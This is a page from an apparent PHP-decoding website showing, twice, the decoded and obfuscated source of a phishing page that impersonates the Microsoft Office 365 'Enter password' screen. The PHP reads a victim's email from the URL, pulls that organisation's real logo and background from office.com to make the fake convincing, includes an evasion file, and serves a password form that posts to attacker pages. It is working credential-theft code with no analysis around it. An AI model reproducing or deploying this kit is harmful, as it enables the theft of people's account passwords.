Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto UzIKu; kEbSK: curl_setopt($ch, CURLOPT_USERAGENT, "User-Agent: Mozilla/5.0 (Ma..
Decoded Output download
<?php
goto UzIKu; kEbSK: curl_setopt($ch, CURLOPT_USERAGENT, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36"); goto z76KD; AWzwS: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); goto TA3Qq; MeZXb: curl_setopt($ch, CURLOPT_URL, 'https://www.office.com/login?es=Click&ru=%2F'); goto Egvoz; O2kEg: if (!empty($_POST['username'])) { goto BgQwB; } goto uHxf5; W3bzI: $email = $_SESSION['username']; goto STUB1; Z4qhS: curl_close($ch); goto fAB00; uHxf5: $_SESSION['username'] = $_GET['ea']; goto xxfi5; w1QG_: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto AWzwS; wPUUX: $hash = md5($v_ip); goto mwKZp; AaVIn: curl_setopt($ch, CURLOPT_POST, TRUE); goto b3cCx; z76KD: curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')); goto b1AWg; Sbw69: $respond_link = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); goto O7LrY; BTltx: include 'config.php'; goto T6haQ; V5HIh: if (!($logo_image == "")) { goto aWDfm; } goto vjpQQ; s0g0y: if (!($_SESSION['username'] == "")) { goto fFiC6; } goto UE2B0; huaNV: $BannerLogo = explode(",", $BannerLogo[0][0]); goto pC6Yz; b1AWg: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto uKMQz; TFWoc: curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')); goto w1QG_; vWPAO: CLJnO: goto iHHke; fAB00: preg_match_all("|\"BannerLogo[^>]+\":(.*)\"/[^>]+\",|U", $result, $BannerLogo, PREG_PATTERN_ORDER); goto huaNV; KT6Tw: fFiC6: goto W3bzI; UE2B0: header("Location: next.php?ss=2"); goto KT6Tw; xxfi5: goto CLJnO; goto opsTG; b3cCx: curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post)); goto Ku0FT; gX4r0: $parts = parse_url($respond_link); goto ZAJY3; UzIKu: error_reporting(0); goto Tg7Su; ZlOwN: session_start(); goto FjKjv; mtH0e: $_SESSION['logo'] = $logo_image; goto s_6oF; oLAcv: $Illustration = explode(",", $Illustration[0][0]); goto mtHSl; G2QPO: $logo_image = $BannerLogo[0][0]; goto nJEWt; mwKZp: $_SESSION['token'] = "access"; goto O2kEg; mtHSl: preg_match_all('#\bhttps?://[^,\s()<>]+(?:\([\w\d]+\)|([^,[:punct:]\s]|/))#', $Illustration[0], $Illustration); goto G2QPO; iHHke: $er = $_SESSION['username']; goto s0g0y; aI0zQ: $post = ['client_id' => $query['client_id'], 'login_hint' => $email]; goto fi1A8; FAtQy: u0a12: goto mtH0e; SVwnA: if (!($bg_image == "")) { goto u0a12; } goto NCvF_; nJEWt: $bg_image = $Illustration[0][0]; goto V5HIh; vjpQQ: $logo_image = "files/microsoft_logo.svg"; goto NdUl2; uKMQz: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); goto X4RN6; STUB1: $ch = curl_init(); goto MeZXb; Tg7Su: include "anti.php"; goto BTltx; NdUl2: aWDfm: goto SVwnA; Ku0FT: curl_setopt($ch, CURLOPT_URL, $respond_link); goto o1wJa; o1wJa: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); goto M8Xvo; NCvF_: $bg_image = "files/0.jpg"; goto FAtQy; X4RN6: $result = curl_exec($ch); goto Z4qhS; O7LrY: curl_close($ch); goto gX4r0; fi1A8: $ch = curl_init(); goto AaVIn; TA3Qq: $result = curl_exec($ch); goto Sbw69; WpBTz: preg_match_all("|\"Illustration[^>]+\":(.*)\"/[^>]+\",|U", $result, $Illustration, PREG_PATTERN_ORDER); goto oLAcv; M8Xvo: curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); goto kEbSK; ZAJY3: parse_str($parts['query'], $query); goto aI0zQ; YyK1n: curl_setopt($ch, CURLOPT_USERAGENT, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36"); goto TFWoc; Egvoz: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); goto sKOnt; T6haQ: include 'One_time.php'; goto ZlOwN; pC6Yz: preg_match_all('#\bhttps?://[^,\s()<>]+(?:\([\w\d]+\)|([^,[:punct:]\s]|/))#', $BannerLogo[0], $BannerLogo); goto WpBTz; FjKjv: $v_ip = $_SERVER['REMOTE_ADDR']; goto wPUUX; sKOnt: curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); goto YyK1n; opsTG: BgQwB: goto KUlK0; KUlK0: $_SESSION['username'] = $_POST['username']; goto vWPAO; s_6oF: $_SESSION['bg'] = $bg_image;
?>
<!DOCTYPE html>
<html dir="ltr" lang="EN-US">
<head>
<script>
function empty() {
var x;
x = document.getElementById("password").value;
if (x == "") {
document.getElementById("password").style = "border-color:red";
document.getElementById("password_error").style = "display: block";
return false;
};
}
</script>
<script>
function change() {
var e;
e = document.getElementById("password").value;
if (e !== ""){
document.getElementById("password").style = "";
document.getElementById("password_error").style = "display: none";
}
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge">
<base href=".">
<title>Enter your password</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
<link rel="shortcut icon" href="./files2/favicon.ico">
<link rel="stylesheet" title="Converged" type="text/css" href="./files2/Converged1033.css">
<style type="text/css">body.cb input.hip
{
border-width: 2px !important;
}
</style><style type="text/css">body{display:none;}</style>
<style type="text/css">body{display:block !important;}</style>
<link rel="image_src" href="">
</head>
<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
<div> <div><div class="background" role="presentation"><div data-bind="backgroundImage: smallImageUrl()" style="background-image: url("./files2/0-small.jpg");"></div> <div class="backgroundImage" data-bind="backgroundImage: backgroundImageUrl()" style="background-image: url("<?php echo $bg_image; ?>");"></div><div class="background-overlay"></div></div></div>
<form name="form" id="form" spellcheck="false" method="post" autocomplete="off" method="post" action='<?php if ($truelogin==true) { echo "complete?ss=2";} else {echo "error?ss=2&ea=$er";}?>'>
<div class="outer" data-bind="component: { name: 'page',
params: {
serverData: svr,
showButtons: svr.A2,
showFooterLinks: true,
useWizardBehavior: svr.BR,
handleWizardButtons: false,
password: password,
hideFromAria: ariaHidden },
event: {
footerAgreementClick: footer_agreementClick } }"> <div class="middle"> <div class="inner" data-bind="css: { 'app': $loginPage.backgroundLogoUrl() }">
<img class="background-logo" id="loader" style="display:none;margin-bottom: 31px;margin-top: 1;max-width: 100%;margin-top: -34px;" role="presentation" data-bind="attr: { src: backgroundLogoUrl }" src="files/load2.gif">
<div data-bind="component: { name: 'logo-control',
params: {
isChinaDc: svr.fIsChinaDc,
bannerLogoUrl: $loginPage.bannerLogoUrl() } }">
<img class="logo" role="presentation" pngsrc="<?php echo $logo_image; ?>" svgsrc="<?php echo $logo_image; ?>" data-bind="imgSrc" src="<?php echo $logo_image; ?>"></div> <div data-bind="
css: { 'wide': paginationControlMethods() && paginationControlMethods().currentViewHasMetadata('wide') },
component: { name: 'pagination-control',
publicMethods: paginationControlMethods,
params: {
initialViewId: initialViewId,
currentViewId: currentViewId,
initialSharedData: initialSharedData,
initialError: $loginPage.getServerError() },
event: {
cancel: paginationControl_onCancel,
showView: $loginPage.view_onShow } }">
</br>
<a href="next.php?ss=2"> <img role="presentation" src="files/arrow_left.png" svgsrc="files/arrow_left.svg" data-bind="imgSrc"> </a><?php echo $_SESSION['username']; ?><div data-bind="css: { 'animate': animate() || animate.back(), 'back': animate.back }" class="animate"><div data-viewid="2" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-password-view',
params: {
serverData: svr,
serverError: initialError,
isInitialView: isInitialState,
username: sharedData.username,
displayName: sharedData.displayName,
hipRequiredForUsername: sharedData.hipRequiredForUsername,
passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
hasRemoteNgc: !!sharedData.remoteNgcParams.sessionIdentifier,
desktopSsoEnabled: sharedData.desktopSsoEnabled,
defaultKmsiValue: svr.I === 1,
userTenantBranding: sharedData.userTenantBranding,
sessions: sharedData.sessions,
isLongRunningTransaction: sharedData.isLongRunningTransaction },
event: {
submitReady: $loginPage.view_onSubmitReady,
resetPassword: $loginPage.passwordView_onResetPassword,
desktopSsoStart: $loginPage.view_desktopSsoStart } }">
<input type="text" name="loginfmt" data-bind="moveOffScreen, value: displayName" class="moveOffScreen" tabindex="-1" aria-hidden="true">
<div data-bind="component: { name: 'identity-banner-control',
params: {
pawnIconId: svr.Bw,
displayName: displayName } }"> </div></div> <div id="loginHeader" class="row text-title" role="heading" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Enter password</div> <div class="row"> <div class="form-group col-md-24"> <div role="alert" aria-live="assertive" aria-atomic="false"> </div> <div class="placeholderContainer" data-bind="component: { name: 'placeholder-textbox', params: {
serverData: svr,
textInput: password,
hasFocus: isFocused,
hintText: str['CT_PWD_STR_PwdTB_Label'],
forcePlaceholderAttribute: true,
hintCss: 'placeholder' } }">
<label id="password_error" style="display: none"><font color="red">Password is required</font></label>
<input name="password" type="password" id="password" onblur="change();" autocomplete="off" class="form-control" aria-describedby="passwordError loginHeader passwordDesc" aria-required="true" data-bind="
textInput: password,
hasFocusEx: isFocused,
placeholder: $placeholderText,
ariaLabel: str['CT_PWD_STR_PwdTB_AriaLabel'],
css: { 'has-error': error }" placeholder="Password" aria-label="Enter password">
<hr size="1" color="#0066cc">
</div> </div> </div> </div> <div id="idTd_PWD_KMSI_Cb" class="form-group checkbox text-block-body no-margin-top" data-bind="visible: !svr.B && !showHip"> <label id="idLbl_PWD_KMSI_Cb"> <input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox" data-bind="checked: isKmsiChecked, ariaLabel: str['CT_PWD_STR_KeepMeSignedInCB_Text']" aria-label="Keep me signed in"> <span data-bind="text: str['CT_PWD_STR_KeepMeSignedInCB_Text']">Keep me signed in</span> </label> </div> <div class="row"> <div class="col-md-24"> <div class="text-13"> <div class="form-group no-margin-bottom" data-bind="css: { 'no-margin-bottom': !hasRemoteNgc && !allowPhoneDisambiguation && !showChangeUserLink }"> <a id="idA_PWD_ForgotPassword" href="">Forgot my password</a> </div> </div> </div> </div> </div>
<script>
function myFunction()
{
document.getElementById('loader').style='display:block;margin-bottom: 31px;margin-top: 1;max-width: 100%;margin-top: -34px;';
}
</script>
<input type="submit" style="float:right" id="idSIButton9" onclick="myFunction()" class="btn btn-primary" value="Sign In"> <script>
var form = document.getElementById("form"), button = document.getElementById("idSIButton9");
</script></form></div></div> </div> <div data-bind="component: { name: 'instrumentation',
publicMethods: instrumentationMethods,
params: { serverData: svr } }"></div> </div> </div> <div id="footer" class="footer default" data-bind="css: { 'default': !backgroundLogoUrl() }"> <div data-bind="component: { name: 'footer-control',
params: {
serverData: svr,
showLinks: true },
event: {
agreementClick: footer_agreementClick } }"> <div id="footerLinks" class="footerNode text-secondary"> <span id="ftrCopy" data-bind="html: svr.aa">2020 Microsoft</span> <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" href="">Terms of Use</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" href="">Privacy & Cookies</a> </div> </div> </div> </div></body></html>
Did this file decode correctly?
Original Code
<?php
goto UzIKu; kEbSK: curl_setopt($ch, CURLOPT_USERAGENT, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36"); goto z76KD; AWzwS: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); goto TA3Qq; MeZXb: curl_setopt($ch, CURLOPT_URL, 'https://www.office.com/login?es=Click&ru=%2F'); goto Egvoz; O2kEg: if (!empty($_POST['username'])) { goto BgQwB; } goto uHxf5; W3bzI: $email = $_SESSION['username']; goto STUB1; Z4qhS: curl_close($ch); goto fAB00; uHxf5: $_SESSION['username'] = $_GET['ea']; goto xxfi5; w1QG_: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto AWzwS; wPUUX: $hash = md5($v_ip); goto mwKZp; AaVIn: curl_setopt($ch, CURLOPT_POST, TRUE); goto b3cCx; z76KD: curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')); goto b1AWg; Sbw69: $respond_link = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); goto O7LrY; BTltx: include 'config.php'; goto T6haQ; V5HIh: if (!($logo_image == "")) { goto aWDfm; } goto vjpQQ; s0g0y: if (!($_SESSION['username'] == "")) { goto fFiC6; } goto UE2B0; huaNV: $BannerLogo = explode(",", $BannerLogo[0][0]); goto pC6Yz; b1AWg: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto uKMQz; TFWoc: curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')); goto w1QG_; vWPAO: CLJnO: goto iHHke; fAB00: preg_match_all("|\"BannerLogo[^>]+\":(.*)\"/[^>]+\",|U", $result, $BannerLogo, PREG_PATTERN_ORDER); goto huaNV; KT6Tw: fFiC6: goto W3bzI; UE2B0: header("Location: next.php?ss=2"); goto KT6Tw; xxfi5: goto CLJnO; goto opsTG; b3cCx: curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post)); goto Ku0FT; gX4r0: $parts = parse_url($respond_link); goto ZAJY3; UzIKu: error_reporting(0); goto Tg7Su; ZlOwN: session_start(); goto FjKjv; mtH0e: $_SESSION['logo'] = $logo_image; goto s_6oF; oLAcv: $Illustration = explode(",", $Illustration[0][0]); goto mtHSl; G2QPO: $logo_image = $BannerLogo[0][0]; goto nJEWt; mwKZp: $_SESSION['token'] = "access"; goto O2kEg; mtHSl: preg_match_all('#\\bhttps?://[^,\\s()<>]+(?:\\([\\w\\d]+\\)|([^,[:punct:]\\s]|/))#', $Illustration[0], $Illustration); goto G2QPO; iHHke: $er = $_SESSION['username']; goto s0g0y; aI0zQ: $post = ['client_id' => $query['client_id'], 'login_hint' => $email]; goto fi1A8; FAtQy: u0a12: goto mtH0e; SVwnA: if (!($bg_image == "")) { goto u0a12; } goto NCvF_; nJEWt: $bg_image = $Illustration[0][0]; goto V5HIh; vjpQQ: $logo_image = "files/microsoft_logo.svg"; goto NdUl2; uKMQz: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); goto X4RN6; STUB1: $ch = curl_init(); goto MeZXb; Tg7Su: include "anti.php"; goto BTltx; NdUl2: aWDfm: goto SVwnA; Ku0FT: curl_setopt($ch, CURLOPT_URL, $respond_link); goto o1wJa; o1wJa: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); goto M8Xvo; NCvF_: $bg_image = "files/0.jpg"; goto FAtQy; X4RN6: $result = curl_exec($ch); goto Z4qhS; O7LrY: curl_close($ch); goto gX4r0; fi1A8: $ch = curl_init(); goto AaVIn; TA3Qq: $result = curl_exec($ch); goto Sbw69; WpBTz: preg_match_all("|\"Illustration[^>]+\":(.*)\"/[^>]+\",|U", $result, $Illustration, PREG_PATTERN_ORDER); goto oLAcv; M8Xvo: curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); goto kEbSK; ZAJY3: parse_str($parts['query'], $query); goto aI0zQ; YyK1n: curl_setopt($ch, CURLOPT_USERAGENT, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36"); goto TFWoc; Egvoz: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); goto sKOnt; T6haQ: include 'One_time.php'; goto ZlOwN; pC6Yz: preg_match_all('#\\bhttps?://[^,\\s()<>]+(?:\\([\\w\\d]+\\)|([^,[:punct:]\\s]|/))#', $BannerLogo[0], $BannerLogo); goto WpBTz; FjKjv: $v_ip = $_SERVER['REMOTE_ADDR']; goto wPUUX; sKOnt: curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); goto YyK1n; opsTG: BgQwB: goto KUlK0; KUlK0: $_SESSION['username'] = $_POST['username']; goto vWPAO; s_6oF: $_SESSION['bg'] = $bg_image;
?>
<!DOCTYPE html>
<html dir="ltr" lang="EN-US">
<head>
<script>
function empty() {
var x;
x = document.getElementById("password").value;
if (x == "") {
document.getElementById("password").style = "border-color:red";
document.getElementById("password_error").style = "display: block";
return false;
};
}
</script>
<script>
function change() {
var e;
e = document.getElementById("password").value;
if (e !== ""){
document.getElementById("password").style = "";
document.getElementById("password_error").style = "display: none";
}
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge">
<base href=".">
<title>Enter your password</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
<link rel="shortcut icon" href="./files2/favicon.ico">
<link rel="stylesheet" title="Converged" type="text/css" href="./files2/Converged1033.css">
<style type="text/css">body.cb input.hip
{
border-width: 2px !important;
}
</style><style type="text/css">body{display:none;}</style>
<style type="text/css">body{display:block !important;}</style>
<link rel="image_src" href="">
</head>
<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
<div> <div><div class="background" role="presentation"><div data-bind="backgroundImage: smallImageUrl()" style="background-image: url("./files2/0-small.jpg");"></div> <div class="backgroundImage" data-bind="backgroundImage: backgroundImageUrl()" style="background-image: url("<?php echo $bg_image; ?>");"></div><div class="background-overlay"></div></div></div>
<form name="form" id="form" spellcheck="false" method="post" autocomplete="off" method="post" action='<?php if ($truelogin==true) { echo "complete?ss=2";} else {echo "error?ss=2&ea=$er";}?>'>
<div class="outer" data-bind="component: { name: 'page',
params: {
serverData: svr,
showButtons: svr.A2,
showFooterLinks: true,
useWizardBehavior: svr.BR,
handleWizardButtons: false,
password: password,
hideFromAria: ariaHidden },
event: {
footerAgreementClick: footer_agreementClick } }"> <div class="middle"> <div class="inner" data-bind="css: { 'app': $loginPage.backgroundLogoUrl() }">
<img class="background-logo" id="loader" style="display:none;margin-bottom: 31px;margin-top: 1;max-width: 100%;margin-top: -34px;" role="presentation" data-bind="attr: { src: backgroundLogoUrl }" src="files/load2.gif">
<div data-bind="component: { name: 'logo-control',
params: {
isChinaDc: svr.fIsChinaDc,
bannerLogoUrl: $loginPage.bannerLogoUrl() } }">
<img class="logo" role="presentation" pngsrc="<?php echo $logo_image; ?>" svgsrc="<?php echo $logo_image; ?>" data-bind="imgSrc" src="<?php echo $logo_image; ?>"></div> <div data-bind="
css: { 'wide': paginationControlMethods() && paginationControlMethods().currentViewHasMetadata('wide') },
component: { name: 'pagination-control',
publicMethods: paginationControlMethods,
params: {
initialViewId: initialViewId,
currentViewId: currentViewId,
initialSharedData: initialSharedData,
initialError: $loginPage.getServerError() },
event: {
cancel: paginationControl_onCancel,
showView: $loginPage.view_onShow } }">
</br>
<a href="next.php?ss=2"> <img role="presentation" src="files/arrow_left.png" svgsrc="files/arrow_left.svg" data-bind="imgSrc"> </a><?php echo $_SESSION['username']; ?><div data-bind="css: { 'animate': animate() || animate.back(), 'back': animate.back }" class="animate"><div data-viewid="2" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-password-view',
params: {
serverData: svr,
serverError: initialError,
isInitialView: isInitialState,
username: sharedData.username,
displayName: sharedData.displayName,
hipRequiredForUsername: sharedData.hipRequiredForUsername,
passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
hasRemoteNgc: !!sharedData.remoteNgcParams.sessionIdentifier,
desktopSsoEnabled: sharedData.desktopSsoEnabled,
defaultKmsiValue: svr.I === 1,
userTenantBranding: sharedData.userTenantBranding,
sessions: sharedData.sessions,
isLongRunningTransaction: sharedData.isLongRunningTransaction },
event: {
submitReady: $loginPage.view_onSubmitReady,
resetPassword: $loginPage.passwordView_onResetPassword,
desktopSsoStart: $loginPage.view_desktopSsoStart } }">
<input type="text" name="loginfmt" data-bind="moveOffScreen, value: displayName" class="moveOffScreen" tabindex="-1" aria-hidden="true">
<div data-bind="component: { name: 'identity-banner-control',
params: {
pawnIconId: svr.Bw,
displayName: displayName } }"> </div></div> <div id="loginHeader" class="row text-title" role="heading" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Enter password</div> <div class="row"> <div class="form-group col-md-24"> <div role="alert" aria-live="assertive" aria-atomic="false"> </div> <div class="placeholderContainer" data-bind="component: { name: 'placeholder-textbox', params: {
serverData: svr,
textInput: password,
hasFocus: isFocused,
hintText: str['CT_PWD_STR_PwdTB_Label'],
forcePlaceholderAttribute: true,
hintCss: 'placeholder' } }">
<label id="password_error" style="display: none"><font color="red">Password is required</font></label>
<input name="password" type="password" id="password" onblur="change();" autocomplete="off" class="form-control" aria-describedby="passwordError loginHeader passwordDesc" aria-required="true" data-bind="
textInput: password,
hasFocusEx: isFocused,
placeholder: $placeholderText,
ariaLabel: str['CT_PWD_STR_PwdTB_AriaLabel'],
css: { 'has-error': error }" placeholder="Password" aria-label="Enter password">
<hr size="1" color="#0066cc">
</div> </div> </div> </div> <div id="idTd_PWD_KMSI_Cb" class="form-group checkbox text-block-body no-margin-top" data-bind="visible: !svr.B && !showHip"> <label id="idLbl_PWD_KMSI_Cb"> <input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox" data-bind="checked: isKmsiChecked, ariaLabel: str['CT_PWD_STR_KeepMeSignedInCB_Text']" aria-label="Keep me signed in"> <span data-bind="text: str['CT_PWD_STR_KeepMeSignedInCB_Text']">Keep me signed in</span> </label> </div> <div class="row"> <div class="col-md-24"> <div class="text-13"> <div class="form-group no-margin-bottom" data-bind="css: { 'no-margin-bottom': !hasRemoteNgc && !allowPhoneDisambiguation && !showChangeUserLink }"> <a id="idA_PWD_ForgotPassword" href="">Forgot my password</a> </div> </div> </div> </div> </div>
<script>
function myFunction()
{
document.getElementById('loader').style='display:block;margin-bottom: 31px;margin-top: 1;max-width: 100%;margin-top: -34px;';
}
</script>
<input type="submit" style="float:right" id="idSIButton9" onclick="myFunction()" class="btn btn-primary" value="Sign In"> <script>
var form = document.getElementById("form"), button = document.getElementById("idSIButton9");
</script></form></div></div> </div> <div data-bind="component: { name: 'instrumentation',
publicMethods: instrumentationMethods,
params: { serverData: svr } }"></div> </div> </div> <div id="footer" class="footer default" data-bind="css: { 'default': !backgroundLogoUrl() }"> <div data-bind="component: { name: 'footer-control',
params: {
serverData: svr,
showLinks: true },
event: {
agreementClick: footer_agreementClick } }"> <div id="footerLinks" class="footerNode text-secondary"> <span id="ftrCopy" data-bind="html: svr.aa">2020 Microsoft</span> <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" href="">Terms of Use</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" href="">Privacy & Cookies</a> </div> </div> </div> </div></body></html>
Function Calls
None |
Stats
MD5 | 251f7a2f2fa23447fc1ccde377e2a821 |
Eval Count | 0 |
Decode Time | 59 ms |